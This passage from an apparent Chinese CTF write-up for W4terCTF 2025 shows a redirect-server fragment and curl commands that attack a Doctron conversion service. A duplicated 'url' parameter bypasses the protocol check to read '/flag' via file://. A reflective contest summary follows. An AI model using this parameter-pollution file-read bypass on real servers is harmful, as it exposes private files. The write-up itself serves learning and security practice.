print(f'[*] Starting redirect server on port {port}...')
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] Stopping server.")
httpd.server_close()
sys.exit(0)

尝试调用 /convert/html2pdf/convert/html2imageurl 参数指向本地跳转服务器:

1
curl -v "http://<host>:<port>/convert/html2pdf?u=doctron&p=lampnick&url=http://172.17.0.1:8000/"

这次请求成功绕过了 CheckParams 的协议校验,Doctron 通过 chromedppkg/curl 访问了跳转 URL,并成功读取了 /flag 文件内容。然而,将 /flag 的纯文本内容转换为 PDF 或图片时,输出文件(PDF 或 PNG)是空白的或损坏的。尝试 /convert/pdfAddWatermark 并将 /flag 作为图片或 PDF 源加载时,导致 worker 任务超时 (30 秒)。这些结果表明 Doctron 的转换/解析库无法正确处理纯文本输入,并且错误信息被屏蔽。
doctron_faild.png

最后根据关键Hint:“问题不在于生成 pdf 或浏览器渲染;golang 中可以绕过 CheckParams 函数去使用 file 协议读文件”。这个提示纠正了之前对渲染问题的关注,并明确指出可以绕过 CheckParams 直接使用 file://

通过重新分析 params.goCheckParams 获取名为 "url" 的参数,然后校验其协议。提示“绕过 CheckParams 函数”强烈暗示,存在一种方法提供一个 URL,它能被 Doctron 后续代码识别为源 URL,但却绕过了 CheckParams"url" 参数的校验。最可能的绕过方法是重复参数。假设 CheckParams 中的 ctx.URLParam("url") 获取的是第一个同名参数的值,而 Doctron 后续的参数绑定机制获取的是最后一个。

1
curl -v "http://<host>:<port>/convert/html2image?u=doctron&p=lampnick&url=http://example.com&url=file:///flag"

这次尝试返回了 HTTP/1.1 200 OKContent-Type: image/png,并开始进行分块编码传输,但最终传输失败。这证明重复参数成功绕过了 CheckParams 的协议校验,Doctron 成功读取了 /flag 文件内容,并尝试进行图片转换!

破损不要紧,我们先保存下来看看?
doctron_succeed.png

W4terCTF 2025 总结

28号开始的比赛,历时一周,终于在五一假期的末尾结束了!一开始只想着做几道签到题感受一下什么是 CTF ,没想到队友发挥强劲,我也在强烈的“正反馈”下,直接把所有时间都投入了进去。非常非常高兴我们 Team Nooob 能在校赛上拿下前十!!!!!!!
ranking.png
curve.png

作为十足的新手,在这次的校赛中收获颇丰。印象最深的是 WMC25 的三道题目,从最开始的栈溢出,到想办法获得 Canary 值并绕过,覆盖返回地址为后门函数,再到开启 PIE 随机加载地址,尝试获得 Libc 基址实现 ret2libc,再最后构造精巧的 ROP 调用链,实现调用一个“从未出现过”的函数!这一切回想起来还是令人激动不已,虽然这些都是 CTF 最基础的内容,但是亲手实践并一步步攻克难点的过程对于新手的我来说是宝贵的经验。

不畏浮云遮望眼,在大佬云集的校赛拿下如此成绩实在得感谢队友们的付出。那么,明年再会,那时候的我会更加强大!